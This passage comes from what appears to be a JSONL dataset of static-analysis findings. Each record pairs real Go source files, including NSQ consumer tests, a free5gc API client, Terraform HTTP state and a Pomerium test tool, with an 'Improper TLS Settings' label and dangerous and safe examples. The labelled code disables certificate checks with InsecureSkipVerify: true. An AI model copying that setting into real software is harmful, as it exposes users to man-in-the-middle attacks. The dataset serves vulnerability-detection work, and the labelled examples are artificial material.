{\n\t\tdefer wg.Done()\n\t\tlookupdWrapper := NewNsqlookupdWrapper(t, \"127.0.0.1:4161\", metaInfo{\n\t\t\tPartitionNum: 1,\n\t\t\tReplica: 1,\n\t\t\tExtendSupport: true,\n\t\t})\n\n\t\tsrvMux := http.NewServeMux()\n\t\tsrvMux.HandleFunc(\"/lookup\", lookupdWrapper.lookupdWrap)\n\t\t//http.ListenAndServe(lookupdAddrWrapper, nil)\n\t\tl, err := net.Listen(\"tcp\", lookupdAddrWrapper)\n\t\tif err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\t\tgo func() {\n\t\t\tselect {\n\t\t\tcase <-stopCh:\n\t\t\t\tl.Close()\n\t\t\t}\n\t\t}()\n\t\thttp.Serve(l, srvMux)\n\t}()\n\t<-time.After(2 * time.Second)\n\tfmt.Printf(\"nsqlookupd starts.\")\n\n\tconfig := NewConfig()\n\tladdr := \"127.0.0.1\"\n\t// so that the test can simulate binding consumer to specified address\n\tconfig.LocalAddr, _ = net.ResolveTCPAddr(\"tcp\", laddr+\":0\")\n\t// so that the test can simulate reaching max requeues and a call to LogFailedMessage\n\tconfig.DefaultRequeueDelay = 0\n\tconfig.MaxAttempts = 5\n\t// so that the test wont timeout from backing off\n\tconfig.MaxBackoffDuration = time.Millisecond * 50\n\tif cb != nil {\n\t\tcb(config)\n\t}\n\tconfig.LookupdPollInterval = time.Second\n\ttag := config.DesiredTag\n\t//rest desired tag to default\n\tconfig.DesiredTag = \"\"\n\ttopicName := \"rdr_tag_test_lookupd\"\n\tif config.Deflate {\n\t\ttopicName = topicName + \"_deflate\"\n\t} else if config.Snappy {\n\t\ttopicName = topicName + \"_snappy\"\n\t}\n\tif config.TlsV1 {\n\t\ttopicName = topicName + \"_tls\"\n\t}\n\ttopicName = topicName + strconv.Itoa(int(time.Now().Unix()))\n\tEnsureTopicWithExt(t, 4150, topicName, 0, true)\n\n\tq, _ := NewConsumer(topicName, \"ch\", config)\n\tq.SetLogger(newTestLogger(t), LogLevelDebug)\n\n\th := &MyTestHandler{\n\t\tt: t,\n\t\tq: q,\n\t\texpectFailed: 2,\n\t}\n\tq.AddHandler(h)\n\tq.ConnectToNSQLookupd(lookupdAddrWrapper)\n\n\tSendTagedMessage(t, 4151, topicName, \"pub\", []byte(`{\"msg\":\"single\"}`), tag)\n\tSendMessage(t, 4151, topicName, \"pub\", []byte(`{\"msg\":\"single\"}`))\n\tSendTagedMessage(t, 4151, topicName, \"pub\", []byte(`{\"msg\":\"single\"}`), tag)\n\tSendMessage(t, 4151, topicName, \"pub\", []byte(`{\"msg\":\"single\"}`))\n\tSendTagedMessage(t, 4151, topicName, \"pub\", []byte(`{\"msg\":\"single\"}`), tag)\n\tSendMessage(t, 4151, topicName, \"pub\", []byte(`{\"msg\":\"single\"}`))\n\tSendTagedMessage(t, 4151, topicName, \"pub\", []byte(\"TOBEFAILED\"), tag)\n\tSendMessage(t, 4151, topicName, \"pub\", []byte(\"TOBEFAILED\"))\n\th.messagesSent = 8\n\n\tselect {\n\tcase <-time.After(time.Second * 20):\n\t\tt.Errorf(\"tag consumer should stop after timeout\")\n\t\tq.Stop()\n\tcase <-q.StopChan:\n\t}\n\n\tif h.messagesReceived != h.messagesSent+h.messagesFailed*int(config.MaxAttempts-1) {\n\t\tt.Fatalf(\"end of test. should have handled a diff number of messages (got %d, sent %d)\", h.messagesReceived, h.messagesSent)\n\t}\n\tif h.messagesFailed != h.expectFailed {\n\t\tt.Fatal(\"failed message not done\")\n\t}\n\tclose(stopCh)\n\twg.Wait()\n}\n\nfunc consumerTagTest(t *testing.T, cb func(c *Config)) {\n\tconfig := NewConfig()\n\tladdr := \"127.0.0.1\"\n\t// so that the test can simulate binding consumer to specified address\n\tconfig.LocalAddr, _ = net.ResolveTCPAddr(\"tcp\", laddr+\":0\")\n\t// so that the test can simulate reaching max requeues and a call to LogFailedMessage\n\tconfig.DefaultRequeueDelay = 0\n\t// so that the test wont timeout from backing off\n\tconfig.MaxBackoffDuration = time.Millisecond * 50\n\tconfig.MaxAttempts = 5\n\tif cb != nil {\n\t\tcb(config)\n\t}\n\ttag := config.DesiredTag\n\ttopicName := \"rdr_tag_test\"\n\tif config.Deflate {\n\t\ttopicName = topicName + \"_deflate\"\n\t} else if config.Snappy {\n\t\ttopicName = topicName + \"_snappy\"\n\t}\n\tif config.TlsV1 {\n\t\ttopicName = topicName + \"_tls\"\n\t}\n\tconfig.LookupdPollInterval = time.Second\n\n\ttopicName = topicName + strconv.Itoa(int(time.Now().Unix()))\n\tEnsureTopicWithExt(t, 4150, topicName, 0, true)\n\n\tq, _ := NewConsumer(topicName, \"ch\", config)\n\tq.SetLogger(newTestLogger(t), LogLevelDebug)\n\n\th := &MyTestHandler{\n\t\tt: t,\n\t\tq: q,\n\t\ttag: tag,\n\t\texpectFailed: 1,\n\t}\n\tq.AddHandler(h)\n\n\taddr := \"127.0.0.1:4150\"\n\t//test with invalid tag\n\tq.SetConsumeExt(true)\n\terr := q.ConnectToNSQD(addr, 2)\n\tif err == nil {\n\t\ttime.Sleep(time.Second)\n\t\t// should call on error\n\t\tif len(q.connections) > 0 || len(q.nsqdTCPAddrs) > 0 {\n\t\t\tt.Fatal(\"should disconnect from the NSQ with not exist partition !!!\")\n\t\t}\n\t}\n\n\terr = q.ConnectToNSQD(addr, 0)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t//remove desired tag in new consumer\n\tconfig.DesiredTag = \"\"\n\tqn, _ := NewConsumer(topicName, \"ch\", config)\n\tqn.SetConsumeExt(true)\n\tqn.SetLogger(newTestLogger(t), LogLevelDebug)\n\n\thn := &MyTestHandler{\n\t\tt: t,\n\t\tq: qn,\n\t\texpectFailed: 1,\n\t}\n\tqn.AddHandler(hn)\n\terr = qn.ConnectToNSQD(addr, 0)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tSendTagedMessage(t, 4151, topicName, \"pub_ext\", []byte(`{\"msg\":\"single\"}`), tag)\n\tSendMessage(t, 4151, topicName, \"pub\", []byte(`{\"msg\":\"single\"}`))\n\tSendTagedMessage(t, 4151, topicName, \"pub_ext\", []byte(`{\"msg\":\"single\"}`), tag)\n\tSendMessage(t, 4151, topicName, \"pub\", []byte(`{\"msg\":\"single\"}`))\n\tSendTagedMessage(t, 4151, topicName, \"pub_ext\", []byte(`{\"msg\":\"single\"}`), tag)\n\tSendMessage(t, 4151, topicName, \"pub\", []byte(`{\"msg\":\"single\"}`))\n\tSendTagedMessage(t, 4151, topicName, \"pub_ext\", []byte(\"TOBEFAILED\"), tag)\n\tSendMessage(t, 4151, topicName, \"pub\", []byte(\"TOBEFAILED\"))\n\th.messagesSent = 4\n\thn.messagesSent = 4\n\n\tstats := q.Stats()\n\tif stats.Connections == 0 {\n\t\tt.Fatal(\"stats report 0 connections (should be > 0)\")\n\t}\n\n\terr = q.ConnectToNSQD(addr, 0)\n\tif err == nil {\n\t\tt.Fatal(\"should not be able to connect to the same NSQ twice\")\n\t}\n\n\tconn := q.conns()[0]\n\tif !strings.HasPrefix(conn.conn.LocalAddr().String(), laddr) {\n\t\tt.Fatal(\"connection should be bound to the specified address:\", conn.conn.LocalAddr())\n\t}\n\n\terr = q.DisconnectFromNSQD(\"1.2.3.4:4150\", \"0\")\n\tif err == nil {\n\t\tt.Fatal(\"should not be able to disconnect from an unknown nsqd\")\n\t}\n\n\terr = q.ConnectToNSQD(\"1.2.3.4:4150\", 0)\n\tif err == nil {\n\t\tt.Fatal(\"should not be able to connect to non-existent nsqd\")\n\t}\n\n\terr = q.DisconnectFromNSQD(\"1.2.3.4:4150\", \"0\")\n\tif err != nil {\n\t\tt.Fatal(\"should be able to disconnect from an nsqd - \" + err.Error())\n\t}\n\n\tselect {\n\tcase <-time.After(time.Second * 20):\n\t\tt.Errorf(\"tag consumer should stop after timeout\")\n\t\tq.Stop()\n\tcase <-q.StopChan:\n\t}\n\n\tselect {\n\tcase <-time.After(time.Second * 20):\n\t\tt.Errorf(\"tag consumer should stop after timeout\")\n\t\tqn.Stop()\n\tcase <-qn.StopChan:\n\t}\n\n\tstats = q.Stats()\n\tif stats.Connections != 0 {\n\t\tt.Fatalf(\"stats report %d active connections (should be 0), %v\", stats.Connections, q.conns())\n\t}\n\n\tstats = q.Stats()\n\tif stats.MessagesReceived != uint64(h.messagesReceived+h.messagesFailed) {\n\t\tt.Fatalf(\"stats report %d messages received (should be %d)\",\n\t\t\tstats.MessagesReceived,\n\t\t\th.messagesReceived+h.messagesFailed)\n\t}\n\n\tif h.messagesReceived != h.messagesSent+h.messagesFailed*int(config.MaxAttempts-1) {\n\t\tt.Fatalf(\"end of test. should have handled a diff number of messages (got %d, sent %d)\", h.messagesReceived, h.messagesSent)\n\t}\n\tif h.messagesFailed != h.expectFailed {\n\t\tt.Fatal(\"failed message not done\")\n\t}\n\n\tstats = qn.Stats()\n\tif stats.Connections != 0 {\n\t\tt.Fatalf(\"stats report %d active connections (should be 0)\", stats.Connections)\n\t}\n\n\tstats = qn.Stats()\n\tif stats.MessagesReceived != uint64(hn.messagesReceived+hn.messagesFailed) {\n\t\tt.Fatalf(\"stats report %d messages received (should be %d)\",\n\t\t\tstats.MessagesReceived,\n\t\t\thn.messagesReceived+hn.messagesFailed)\n\t}\n\n\tif hn.messagesReceived != hn.messagesSent+hn.messagesFailed*(int(config.MaxAttempts)-1) {\n\t\tt.Fatalf(\"end of test. should have handled a diff number of messages (got %d, sent %d)\", hn.messagesReceived, hn.messagesSent)\n\t}\n\tif hn.messagesFailed != hn.expectFailed {\n\t\tt.Fatal(\"failed message not done\")\n\t}\n}\n\nfunc consumerTest(t *testing.T, cb func(c *Config)) {\n\tconfig := NewConfig()\n\tladdr := \"127.0.0.1\"\n\t// so that the test can simulate binding consumer to specified address\n\tconfig.LocalAddr, _ = net.ResolveTCPAddr(\"tcp\", laddr+\":0\")\n\t// so that the test can simulate reaching max requeues and a call to LogFailedMessage\n\tconfig.DefaultRequeueDelay = 0\n\t// so that the test wont timeout from backing off\n\tconfig.MaxBackoffDuration = time.Millisecond * 50\n\tconfig.MaxAttempts = 7\n\tconfig.LookupdPollInterval = time.Second\n\tif cb != nil {\n\t\tcb(config)\n\t}\n\ttopicName := \"rdr_test\"\n\tif config.Deflate {\n\t\ttopicName = topicName + \"_deflate\"\n\t} else if config.Snappy {\n\t\ttopicName = topicName + \"_snappy\"\n\t}\n\tif config.TlsV1 {\n\t\ttopicName = topicName + \"_tls\"\n\t}\n\ttopicName = topicName + strconv.Itoa(int(time.Now().Unix()))\n\tq, _ := NewConsumer(topicName, \"ch\", config)\n\tq.SetLogger(newTestLogger(t), LogLevelDebug)\n\n\th := &MyTestHandler{\n\t\tt: t,\n\t\tq: q,\n\t\texpectFailed: 1,\n\t}\n\tq.AddHandler(h)\n\n\tEnsureTopic(t, 4150, topicName, 0)\n\n\taddr := \"127.0.0.1:4150\"\n\terr := q.ConnectToNSQD(addr, 2)\n\tif err == nil {\n\t\ttime.Sleep(time.Second)\n\t\t// should call on error\n\t\tif len(q.connections) > 0 || len(q.nsqdTCPAddrs) > 0 {\n\t\t\tt.Fatal(\"should disconnect from the NSQ with not exist partition !!!\")\n\t\t}\n\t}\n\n\terr = q.ConnectToNSQD(addr, 0)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tSendMessage(t, 4151, topicName, \"pub\", []byte(`{\"msg\":\"single\"}`))\n\tSendMessage(t, 4151, topicName, \"mpub\", []byte(\"{\\\"msg\\\":\\\"double\\\"}\\n{\\\"msg\\\":\\\"double\\\"}\"))\n\tSendMessage(t, 4151, topicName, \"pub\", []byte(\"TOBEFAILED\"))\n\th.messagesSent = 4\n\n\tstats := q.Stats()\n\tif stats.Connections == 0 {\n\t\tt.Fatal(\"stats report 0 connections (should be > 0)\")\n\t}\n\n\terr = q.ConnectToNSQD(addr, 0)\n\tif err == nil {\n\t\tt.Fatal(\"should not be able to connect to the same NSQ twice\")\n\t}\n\n\tconn := q.conns()[0]\n\tif !strings.HasPrefix(conn.conn.LocalAddr().String(), laddr) {\n\t\tt.Fatal(\"connection should be bound to the specified address:\", conn.conn.LocalAddr())\n\t}\n\n\terr = q.DisconnectFromNSQD(\"1.2.3.4:4150\", \"0\")\n\tif err == nil {\n\t\tt.Fatal(\"should not be able to disconnect from an unknown nsqd\")\n\t}\n\n\terr = q.ConnectToNSQD(\"1.2.3.4:4150\", 0)\n\tif err == nil {\n\t\tt.Fatal(\"should not be able to connect to non-existent nsqd\")\n\t}\n\n\terr = q.DisconnectFromNSQD(\"1.2.3.4:4150\", \"0\")\n\tif err != nil {\n\t\tt.Fatal(\"should be able to disconnect from an nsqd - \" + err.Error())\n\t}\n\n\tselect {\n\tcase <-q.StopChan:\n\tcase <-time.After(time.Second * 10):\n\t\tt.Errorf(\"should stop after timeout\")\n\t\tq.Stop()\n\t}\n\n\tstats = q.Stats()\n\tif stats.Connections != 0 {\n\t\tt.Fatalf(\"stats report %d active connections (should be 0)\", stats.Connections)\n\t}\n\n\tstats = q.Stats()\n\tif stats.MessagesReceived != uint64(h.messagesReceived+h.messagesFailed) {\n\t\tt.Fatalf(\"stats report %d messages received (should be %d)\",\n\t\t\tstats.MessagesReceived,\n\t\t\th.messagesReceived+h.messagesFailed)\n\t}\n\n\tif h.messagesReceived != h.messagesSent+int(config.MaxAttempts)-1 {\n\t\tt.Fatalf(\"end of test. should have handled a diff number of messages (got %d, sent %d)\", h.messagesReceived, h.messagesSent)\n\t}\n\tif h.messagesFailed != h.expectFailed {\n\t\tt.Fatal(\"failed message not done\")\n\t}\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 283, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "4674be46b3b37cd1839af67e32efe43d0ec387bda8f084aac83d3633cd787a61", "license": {"spdx": ["Apache-2.0"], "repo": "williamlin0504/free5gcWithOCF", "path": "lib/openapi/Npcf_PolicyAuthorization/client.go", "repo_head_hexsha": "19d7e905db777b820708715c546f94be01723d88", "stack_hexsha": "5786706b103cee14d8bb46705cdc3327a2631bf9", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 43, "entireCode": "/*\n * Npcf_PolicyAuthorization Service API\n *\n * This is the Policy Authorization Service\n *\n * API version: 1.0.1\n * Generated by: OpenAPI Generator (https://openapi-generator.tech)\n */\n\npackage Npcf_PolicyAuthorization\n\nimport (\n\t\"crypto/tls\"\n\t\"net/http\"\n\n\t\"golang.org/x/net/http2\"\n)\n\n// APIClient manages communication with the Npcf_PolicyAuthorization Service API API v1.0.1\n// In most cases there should be only one, shared, APIClient.\ntype APIClient struct {\n\tcfg *Configuration\n\tcommon service // Reuse a single struct instead of allocating one for each service on the heap.\n\n\t// API Services\n\tApplicationSessionsCollectionApi *ApplicationSessionsCollectionApiService\n\tEventsSubscriptionDocumentApi *EventsSubscriptionDocumentApiService\n\tIndividualApplicationSessionContextDocumentApi *IndividualApplicationSessionContextDocumentApiService\n\tPolicyAuthorizationEventNotificationApi *PolicyAuthorizationEventNotificationApiService\n\tPolicyAuthorizationTerminateRequestApi *PolicyAuthorizationTerminateRequestApiService\n}\n\ntype service struct {\n\tclient *APIClient\n}\n\n// NewAPIClient creates a new API client. Requires a userAgent string describing your application.\n// optionally a custom http.Client to allow for advanced features such as caching.\nfunc NewAPIClient(cfg *Configuration) *APIClient {\n\tif cfg.httpClient == nil {\n\t\tcfg.httpClient = http.DefaultClient\n\t\tcfg.httpClient.Transport = &http2.Transport{\n\t\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n\t\t}\n\t}\n\n\tc := &APIClient{}\n\tc.cfg = cfg\n\tc.common.client = c\n\n\t// API Services\n\tc.ApplicationSessionsCollectionApi = (*ApplicationSessionsCollectionApiService)(&c.common)\n\tc.EventsSubscriptionDocumentApi = (*EventsSubscriptionDocumentApiService)(&c.common)\n\tc.IndividualApplicationSessionContextDocumentApi = (*IndividualApplicationSessionContextDocumentApiService)(&c.common)\n\tc.PolicyAuthorizationEventNotificationApi = (*PolicyAuthorizationEventNotificationApiService)(&c.common)\n\tc.PolicyAuthorizationTerminateRequestApi = (*PolicyAuthorizationTerminateRequestApiService)(&c.common)\n\treturn c\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 43, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "1bc933f6fe242d1e7ae0474d0e1e8e35b70a5b62ae94d9b425f34b67034bf1e5", "license": {"spdx": ["Apache-2.0"], "repo": "ezgikaysi/koding", "path": "go/src/github.com/hashicorp/terraform/state/remote/http.go", "repo_head_hexsha": "5956d6ca5f804e58452fe2aea548328fdb8acff8", "stack_hexsha": "ff8fdaa5f2cc5f7e5015e546e1423889c4fc935e", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 39, "entireCode": "package remote\n\nimport (\n\t\"bytes\"\n\t\"crypto/md5\"\n\t\"crypto/tls\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strconv\"\n)\n\nfunc httpFactory(conf map[string]string) (Client, error) {\n\taddress, ok := conf[\"address\"]\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"missing 'address' configuration\")\n\t}\n\n\turl, err := url.Parse(address)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to parse HTTP URL: %s\", err)\n\t}\n\tif url.Scheme != \"http\" && url.Scheme != \"https\" {\n\t\treturn nil, fmt.Errorf(\"address must be HTTP or HTTPS\")\n\t}\n\n\tclient := &http.Client{}\n\tif skipRaw, ok := conf[\"skip_cert_verification\"]; ok {\n\t\tskip, err := strconv.ParseBool(skipRaw)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"skip_cert_verification must be boolean\")\n\t\t}\n\t\tif skip {\n\t\t\t// Replace the client with one that ignores TLS verification\n\t\t\tclient = &http.Client{\n\t\t\t\tTransport: &http.Transport{\n\t\t\t\t\tTLSClientConfig: &tls.Config{\n\t\t\t\t\t\tInsecureSkipVerify: true,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}\n\t\t}\n\t}\n\n\treturn &HTTPClient{\n\t\tURL: url,\n\t\tClient: client,\n\t}, nil\n}\n\n// HTTPClient is a remote client that stores data in Consul or HTTP REST.\ntype HTTPClient struct {\n\tURL *url.URL\n\tClient *http.Client\n}\n\nfunc (c *HTTPClient) Get() (*Payload, error) {\n\tresp, err := c.Client.Get(c.URL.String())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close()\n\n\t// Handle the common status codes\n\tswitch resp.StatusCode {\n\tcase http.StatusOK:\n\t\t// Handled after\n\tcase http.StatusNoContent:\n\t\treturn nil, nil\n\tcase http.StatusNotFound:\n\t\treturn nil, nil\n\tcase http.StatusUnauthorized:\n\t\treturn nil, fmt.Errorf(\"HTTP remote state endpoint requires auth\")\n\tcase http.StatusForbidden:\n\t\treturn nil, fmt.Errorf(\"HTTP remote state endpoint invalid auth\")\n\tcase http.StatusInternalServerError:\n\t\treturn nil, fmt.Errorf(\"HTTP remote state internal server error\")\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"Unexpected HTTP response code %d\", resp.StatusCode)\n\t}\n\n\t// Read in the body\n\tbuf := bytes.NewBuffer(nil)\n\tif _, err := io.Copy(buf, resp.Body); err != nil {\n\t\treturn nil, fmt.Errorf(\"Failed to read remote state: %s\", err)\n\t}\n\n\t// Create the payload\n\tpayload := &Payload{\n\t\tData: buf.Bytes(),\n\t}\n\n\t// If there was no data, then return nil\n\tif len(payload.Data) == 0 {\n\t\treturn nil, nil\n\t}\n\n\t// Check for the MD5\n\tif raw := resp.Header.Get(\"Content-MD5\"); raw != \"\" {\n\t\tmd5, err := base64.StdEncoding.DecodeString(raw)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\n\t\t\t\t\"Failed to decode Content-MD5 '%s': %s\", raw, err)\n\t\t}\n\n\t\tpayload.MD5 = md5\n\t} else {\n\t\t// Generate the MD5\n\t\thash := md5.Sum(payload.Data)\n\t\tpayload.MD5 = hash[:]\n\t}\n\n\treturn payload, nil\n}\n\nfunc (c *HTTPClient) Put(data []byte) error {\n\t// Copy the target URL\n\tbase := *c.URL\n\n\t// Generate the MD5\n\thash := md5.Sum(data)\n\tb64 := base64.StdEncoding.EncodeToString(hash[:])\n\n\t/*\n\t\t// Set the force query parameter if needed\n\t\tif force {\n\t\t\tvalues := base.Query()\n\t\t\tvalues.Set(\"force\", \"true\")\n\t\t\tbase.RawQuery = values.Encode()\n\t\t}\n\t*/\n\n\treq, err := http.NewRequest(\"POST\", base.String(), bytes.NewReader(data))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to make HTTP request: %s\", err)\n\t}\n\n\t// Prepare the request\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\treq.Header.Set(\"Content-MD5\", b64)\n\treq.ContentLength = int64(len(data))\n\n\t// Make the request\n\tresp, err := c.Client.Do(req)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to upload state: %v\", err)\n\t}\n\tdefer resp.Body.Close()\n\n\t// Handle the error codes\n\tswitch resp.StatusCode {\n\tcase http.StatusOK:\n\t\treturn nil\n\tdefault:\n\t\treturn fmt.Errorf(\"HTTP error: %d\", resp.StatusCode)\n\t}\n}\n\nfunc (c *HTTPClient) Delete() error {\n\treq, err := http.NewRequest(\"DELETE\", c.URL.String(), nil)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to make HTTP request: %s\", err)\n\t}\n\n\t// Make the request\n\tresp, err := c.Client.Do(req)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to delete state: %s\", err)\n\t}\n\tdefer resp.Body.Close()\n\n\t// Handle the error codes\n\tswitch resp.StatusCode {\n\tcase http.StatusOK:\n\t\treturn nil\n\tdefault:\n\t\treturn fmt.Errorf(\"HTTP error: %d\", resp.StatusCode)\n\t}\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 39, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "793e16a4935d81210c224190afe3718359855fd50ca8d8dc8401abaebe2696c3", "license": {"spdx": ["Apache-2.0"], "repo": "BearerPipelineTest/pomerium", "path": "internal/tests/xdserr/cmd/main.go", "repo_head_hexsha": "2e1366c417127d489032d60b80c8069f83497bcc", "stack_hexsha": "52a18fd40713201f1159e80fa24c4e5f18a0d4dc", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 34, "entireCode": "package main\n\nimport (\n\t\"context\"\n\t\"crypto/tls\"\n\t\"encoding/base64\"\n\t\"flag\"\n\t\"fmt\"\n\t\"math/rand\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"time\"\n\n\t_ \"github.com/envoyproxy/go-control-plane/envoy/api/v2\"\n\t_ \"github.com/envoyproxy/go-control-plane/envoy/extensions/access_loggers/grpc/v3\"\n\t_ \"github.com/envoyproxy/go-control-plane/envoy/extensions/filters/http/ext_authz/v3\"\n\t_ \"github.com/envoyproxy/go-control-plane/envoy/extensions/filters/http/lua/v3\"\n\t_ \"github.com/envoyproxy/go-control-plane/envoy/extensions/filters/network/http_connection_manager/v3\"\n\t_ \"github.com/envoyproxy/go-control-plane/envoy/extensions/upstreams/http/v3\"\n\t\"github.com/google/uuid\"\n\t\"golang.org/x/sync/errgroup\"\n\t\"google.golang.org/grpc\"\n\n\t\"github.com/pomerium/pomerium/internal/log\"\n\t\"github.com/pomerium/pomerium/internal/tests/xdserr\"\n\t\"github.com/pomerium/pomerium/pkg/grpc/config\"\n\t\"github.com/pomerium/pomerium/pkg/grpc/databroker\"\n\t\"github.com/pomerium/pomerium/pkg/grpcutil\"\n\t\"github.com/pomerium/pomerium/pkg/protoutil\"\n)\n\nvar httpClient = &http.Client{\n\tTransport: &http.Transport{\n\t\tTLSClientConfig: &tls.Config{\n\t\t\tInsecureSkipVerify: true,\n\t\t},\n\t},\n}\n\nfunc main() {\n\tctx := context.Background()\n\n\tgraceful := flag.Bool(\"graceful\", false, \"gracefully grow\")\n\tdomain := flag.String(\"domain\", \"localhost.pomerium.io\", \"domain to create routes in\")\n\troutes := flag.Int(\"routes\", 100, \"number of routes\")\n\tcycles := flag.Int(\"cycles\", 1, \"number of cycles\")\n\tchange := flag.Int(\"change\", 1, \"number of change per cycle\")\n\taddr := flag.String(\"db-url\", \"http://localhost:5443\", \"databroker url\")\n\tkey := flag.String(\"key\", \"\", \"databroker connection key\")\n\tto := flag.String(\"to\", \"\", \"route To url\")\n\n\tflag.Parse()\n\n\ttoURL, err := url.Parse(*to)\n\tif err != nil {\n\t\tlog.Error(ctx).Err(err).Msg(*to)\n\t\treturn\n\t}\n\n\teg, ctx := errgroup.WithContext(ctx)\n\tconn, err := grpcConn(ctx, *addr, *key)\n\tif err != nil {\n\t\tlog.Error(ctx).Err(err).Msg(\"databroker grpc conn\")\n\t\treturn\n\t}\n\tdefer conn.Close()\n\n\tif *to == \"\" {\n\t\t*to, err = xdserr.RunEcho(ctx)\n\t\tif err != nil {\n\t\t\tlog.Error(ctx).Err(err).Msg(\"echo server\")\n\t\t\treturn\n\t\t}\n\t}\n\tlog.Info(ctx).Str(\"url\", *to).Msg(\"echo server\")\n\n\teg.Go(func() error {\n\t\treturn run(ctx, conn, *toURL, *domain, opts{\n\t\t\tgraceful: *graceful,\n\t\t\tnRoutes: *routes,\n\t\t\tnIter: *cycles,\n\t\t\tnMod: *change,\n\t\t})\n\t})\n\tif err := eg.Wait(); err != nil {\n\t\tlog.Error(ctx).Err(err).Msg(\"altering config\")\n\t}\n}\n\ntype opts struct {\n\tnRoutes, nIter, nMod int\n\tgraceful bool\n}\n\nfunc run(ctx context.Context, conn *grpc.ClientConn, to url.URL, domain string, o opts) error {\n\tctx, cancel := context.WithCancel(ctx)\n\tdefer cancel()\n\n\tdbc := databroker.NewDataBrokerServiceClient(conn)\n\tcfg := new(config.Config)\n\n\tfor i := 0; i < o.nRoutes; i++ {\n\t\tcfg.Routes = append(cfg.Routes, makeRoute(domain, to))\n\t}\n\n\trand.Seed(time.Now().Unix())\n\n\tchanged := make([]int, o.nMod)\n\tfor i := 0; i < o.nIter; i++ {\n\t\tfor j := 0; j < o.nMod; j++ {\n\t\t\t// nolint: gosec\n\t\t\tidx := rand.Intn(o.nRoutes)\n\t\t\tchanged[j] = idx\n\t\t\tcfg.Routes[idx] = makeRoute(domain, to)\n\t\t}\n\t\tlog.Info(ctx).Ints(\"changed\", changed).Msg(\"changed\")\n\t\tif err := saveAndLogConfig(ctx, dbc, cfg, o.graceful); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif !o.graceful {\n\t\treturn waitHealthy(ctx, httpClient, cfg.Routes)\n\t}\n\n\treturn nil\n}\n\nfunc grpcConn(ctx context.Context, addr, keyTxt string) (*grpc.ClientConn, error) {\n\tu, err := url.Parse(addr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tkey, err := base64.StdEncoding.DecodeString(keyTxt)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tfmt.Println(keyTxt)\n\treturn grpcutil.NewGRPCClientConn(ctx, &grpcutil.Options{\n\t\tAddress: u,\n\t\tInsecureSkipVerify: true,\n\t\tSignedJWTKey: key,\n\t})\n}\n\nfunc makeRoute(domain string, to url.URL) *config.Route {\n\tid := fmt.Sprintf(\"r-%s\", uuid.NewString())\n\treturn &config.Route{\n\t\tName: id,\n\t\tFrom: fmt.Sprintf(\"https://%s.%s\", id, domain),\n\t\tPath: \"/\",\n\t\tPrefixRewrite: to.Path,\n\t\tTo: 